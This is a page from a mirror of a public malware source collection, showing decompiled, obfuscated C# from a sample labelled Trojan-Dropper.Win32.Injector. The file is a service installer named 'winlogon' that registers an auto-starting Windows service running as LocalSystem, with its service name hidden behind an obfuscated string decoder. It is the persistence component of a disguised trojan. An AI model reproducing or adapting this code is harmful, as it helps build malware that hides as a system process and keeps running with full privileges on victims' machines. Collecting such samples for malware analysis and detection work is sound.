mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
f2ac1ece55
add
65 lines
2.1 KiB
C#
65 lines
2.1 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: winlogon.ProjectInstaller
|
|
// Assembly: winlogon, Version=6.1.7601.17514, Culture=neutral, PublicKeyToken=null
|
|
// MVID: AC059A05-C181-4518-A4B8-9A5E8B3420DD
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Injector.famp-6427595611179d5d5dac279b1a45e8419adb3bb7a48e56b0dc2408b6a417bbb5.exe
|
|
|
|
using K6lba8gkqFKwGTxlJE;
|
|
using qpa0K4UP35oevQjLvS;
|
|
using System.ComponentModel;
|
|
using System.Configuration.Install;
|
|
using System.Runtime.CompilerServices;
|
|
using System.Runtime.InteropServices;
|
|
using System.ServiceProcess;
|
|
|
|
namespace winlogon
|
|
{
|
|
[RunInstaller(true)]
|
|
public class ProjectInstaller : Installer
|
|
{
|
|
private IContainer CB5PoyLh2;
|
|
private ServiceProcessInstaller Nl57VeiJF;
|
|
private ServiceInstaller xpijUj4ut;
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
protected override void Dispose(bool disposing)
|
|
{
|
|
if (disposing && this.CB5PoyLh2 != null)
|
|
this.CB5PoyLh2.Dispose();
|
|
base.Dispose(disposing);
|
|
}
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
private void pw19VkMJO()
|
|
{
|
|
this.Nl57VeiJF = new ServiceProcessInstaller();
|
|
this.xpijUj4ut = new ServiceInstaller();
|
|
this.Nl57VeiJF.Account = ServiceAccount.LocalSystem;
|
|
this.Nl57VeiJF.Password = (string) null;
|
|
this.Nl57VeiJF.Username = (string) null;
|
|
this.xpijUj4ut.ServiceName = ipbpJ7ihfEneDowwMq.YHW3lrBiD(652);
|
|
this.xpijUj4ut.StartType = ServiceStartMode.Automatic;
|
|
this.xpijUj4ut.AfterInstall += new InstallEventHandler(this.Qn1TjKB0h);
|
|
this.Installers.AddRange(new Installer[2]
|
|
{
|
|
(Installer) this.Nl57VeiJF,
|
|
(Installer) this.xpijUj4ut
|
|
});
|
|
}
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
public ProjectInstaller()
|
|
{
|
|
r6O22AEB3hooSSmKYs.eqJZdUAzZVtL9();
|
|
// ISSUE: explicit constructor call
|
|
base.\u002Ector();
|
|
this.pw19VkMJO();
|
|
}
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
private void Qn1TjKB0h([In] object obj0, [In] InstallEventArgs obj1)
|
|
{
|
|
}
|
|
}
|
|
}
|